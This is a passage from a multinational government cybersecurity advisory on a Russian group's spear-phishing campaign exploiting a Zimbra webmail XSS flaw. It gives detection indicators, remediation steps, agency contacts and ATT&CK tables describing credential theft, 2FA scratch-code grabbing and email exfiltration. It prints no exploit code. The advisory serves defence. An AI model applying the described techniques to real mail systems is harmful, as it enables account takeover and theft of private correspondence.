<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
